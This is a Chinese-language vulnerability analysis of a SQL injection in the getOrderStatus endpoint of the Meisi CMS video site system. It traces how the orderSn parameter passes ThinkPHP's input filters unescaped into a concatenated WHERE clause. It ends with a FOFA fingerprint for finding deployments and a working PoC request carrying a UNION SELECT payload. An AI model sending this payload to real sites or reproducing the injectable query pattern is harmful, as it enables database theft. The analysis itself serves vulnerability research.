xiao1star2026-07-08文章来源:SecHub网络安全社区
魅思CMS视频网站系统是一套专为不同需求的站长而设计的视频点播系统它是由PHP+MYSQL架构、跨平台运行。后端基于(ThinkPhp)开发、超强负载能力搭配核心缓存助您轻松运营百万级站点。在getOrderStatus中存在sql注入漏洞,该漏洞可以通过请求api的路径接口来进行SQL注入,进而可能导致敏感信息泄露
来到msvodx/application/controller/Api.php中的getOrderStatus方法中

分析:首先通过post方法获取到前端的orderSn参数,接着对参数的内容进行非空判断,之后调用Db类下的name方法获取到指定的表,然后调用where方法得到查询的语句接着调用find方法进行数据库的查询操作,将查询到的结果赋值给orderInfo变量,接着对其进行非空判断并将结果通过json格式响应给前端
进入到post方法中查看是否对参数内容有所过滤

分析:首先是对post属性判断是否为空,若为空首先是将input属性即php://input的内容赋值给content变量

接着若$_POST(post方式传输的内容)为空且请求体中的CONTENT_TYPE中存在application/json那么就将content变量进行json解码赋值给post属性,反之直接将$_POST的内容赋值给post属性,紧接着判断$name是否是数组,若是的话将调用array_merge方法进行数组的合并赋值给post属性将其返回,若不是的话就调用input方法将结果返回
接入到input方法中
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {//判断name是否为空
// 解析name
if (strpos($name, '/')) {//检索name中是否由存在/
list($name, $type) = explode('/', $name);// 调用explode 函数的结果直接分配给两个变量 $name 和 $type。
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {//利用explode函数将name按照.分割开依次遍历赋值给val变量
if (isset($data[$val])) {//判断data数组中的val变量是否存在
$data = $data[$val];//若存在就将其值赋值给data
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;/
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
该方法它的作用是从给定的数据数组 $data (也就是post方式传输的内容)中获取指定名称 $name 的值(orderSn参数),并且可以应用过滤器 $filter 来处理这个值。如果没有找到指定的名称,它将返回一个默认值 $default。这个函数还可以处理多维数组和类型转换。
接着来到filterValue方法中查看进行了哪些过滤

分析:在调用该方式时我们需要注意的是在默认情况下$filters是为空的因为我们在input方法中设置了$filter = '',也就是说中间的foreach遍历对我们传入的内容没有任何限制,我们直接查看filterEXp方法即可

分析:发现如果 $value 匹配上述任何一个关键字EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN,函数会在其后追加一个空格。这样做的目的是为了防止 SQL 注入攻击,通过在关键字后添加空格,可以破坏 SQL 语句的结构,从而避免恶意的 SQL 语句执行。只要避免出现这些关键字即可绕过
接着根据Db::name('order')->where("order_sn='$orderSn'")->find();发现在where方法中$orderSn是直接拼接到里面作为参数来去构成查询语句的
public function where($field, $op = null, $condition = null)//$field(字段名),$op(操作符,默认为 null),和 $condition(条件值,默认为 null)。
{
$param = func_get_args();//获取函数调用时传递的所有参数,并将它们存储在变量 $param 中。
array_shift($param);//从数组 $param 的开头移除第一个元素即 $field 参数,因为 $field 已经在函数签名中定义
$this->parseWhereExp('AND', $field, $op, $condition, $param);//用于解析和构建 WHERE 条件表达式的。
return $this;
}
接着来到parseWhereExp方法中

要知道$field是order_sn='$orderSn'的字符串是存在=号就会进入到红框中的内容,就会将exp, $field的两个元素赋值到where数组中,又因为$op为null故不会进行参数绑定
接着往下

分析:因为 $where 数组已经被添加了元素,$where 数组必然不为空,接着检查 $field 是否有多个条件需要合并。如果有,将这些条件合并到 $where[$field]。然后将 $where 数组合并到 $this->options['where'][$logic] 中,这样 $field 的 NULL 条件就会被添加到查询条件中。
总结来说,由于 $field 包含了一个表达式,parseWhereExp 函数会将其视为一个表达式条件,并将其添加到查询的 WHERE 条件中。这意味着最终的 SQL 语句可能会包含类似 WHERE order_sn='$orderSn' 的条件。
这就构成了sql语句,我们发现从请求参数的获取到构造成sql语句全程都没有进行一些敏感字符的过滤,最后调用find方法执行sql语句将结果返回,这就造成用户可以对orderSn参数进行控制,从而获取服务器的敏感信息
fofa
app="魅思-视频管理系统"

poc
POST /api/getOrderStatus HTTP/1.1
Host: www.test.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
orderSn=%27%29+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%28IFNULL%28CAST%28CURRENT_USER%28%29+AS+NCHAR%29%2C0x20%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+
